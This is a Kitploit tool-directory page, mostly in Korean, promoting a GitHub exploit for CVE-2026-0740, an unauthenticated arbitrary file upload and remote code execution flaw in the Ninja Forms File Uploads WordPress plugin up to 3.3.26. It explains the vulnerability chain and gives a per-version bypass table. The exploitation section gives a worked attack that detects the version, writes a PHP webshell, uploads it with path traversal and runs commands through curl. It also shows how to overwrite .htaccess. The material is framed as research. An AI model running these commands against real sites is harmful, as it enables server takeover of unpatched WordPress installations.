Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0740 — Ninja Forms File Uploads <= 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 RCE (CVE-2026-0740) | Kitploit
도구/GitHubGitHub/whattheslime/cve-2026-0740
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubwhattheslime/cve-2026-0740

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 RCE (CVE-2026-0740)

저장소 보기
12244개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0740

Ninja Forms File Uploads <= 3.3.26 - 인증되지 않은 임의 파일 업로드를 통한 원격 코드 실행 (RCE)

CVE-2026-0740에 대한 익스플로잇, 발견자: Selim Lanouar (whattheslime).

완전한 기술적 심층 분석은 Lexfo 블로그의 전체 기사를 참조하십시오.

Disclaimer

이 저장소는 연구 및 방어적 보안 목적으로만 제공됩니다.

저자는 이 정보의 오용에 대해 책임을 지지 않습니다.


Overview

WordPress용 Ninja Forms - File Uploads 플러그인은 버전 3.3.26 이하의 모든 버전에서 인증되지 않은 임의 파일 업로드에 취약하여 원격 코드 실행으로 이어집니다.

이 취약점은 원래 버전 3.3.23에서 발견 및 보고되었습니다. 버전 3.3.24까지는 악용이 간단합니다(대상 파일 이름에 대한 검증 없음). 버전 3.3.25 및 3.3.26에서 연속적인 부분 패치가 도입되었지만, 문제는 버전 3.3.27에서만 완전히 해결되었습니다.

취약점 체인은 다음과 같습니다:

  1. 인증되지 않은 사용자가 임의의 field_id로 nf_fu_get_new_nonce AJAX 액션을 통해 유효한 업로드 nonce를 획득합니다.
  2. nf_fu_upload 핸들러는 업로드된 파일의 확장자(예: image.jpg)를 검증하지만, 클라이언트가 POST 파라미터(image_jpg)를 통해 대상 파일 이름을 재정의할 수 있도록 허용합니다.
  3. 대상 파일 이름이 적절한 위생 처리 없이 move_uploaded_file()에 전달되어 임의의 확장자 및 경로 탐색(../)이 가능합니다.
벡터 / 확장자<= 3.3.243.3.253.3.263.3.27
경로 탐색 (../)PASS---
.phpPASS---
.phtml, .pharPASSPASS--
.phtPASSPASSPASS-
.html, .svg, .jsPASSPASSPASS-

전체 확장자 표와 기술적 심층 분석은 전체 블로그 게시물을 참조하십시오.


Exploitation

Prerequisites

  • Ninja Forms 플러그인이 설치 및 활성화되어 있어야 합니다.
  • Ninja Forms - File Uploads 확장이 설치 및 활성화되어 있어야 합니다 (<= 3.3.26).
  • 활성화된 양식이나 기존 파일 업로드 필드는 필요하지 않습니다.

Setup

python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h

Upload a file (no path traversal)

python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt

파일이 wp-content/uploads/ninja-forms/tmp/test.txt에 기록됩니다.

Upload with path traversal (<= 3.3.24)

python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php

파일이 wp-content/webshell.php에 기록됩니다.

Upload with custom destination filename

python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess

Example

# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]

# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php

# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php

# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

References

  • 블로그 게시물 - 기술 심층 분석
  • CVE-2026-0740
  • Wordfence - 영향을 받는 50,000개 WordPress 사이트
  • Wordfence - 취약점 세부 정보
도구 다운로드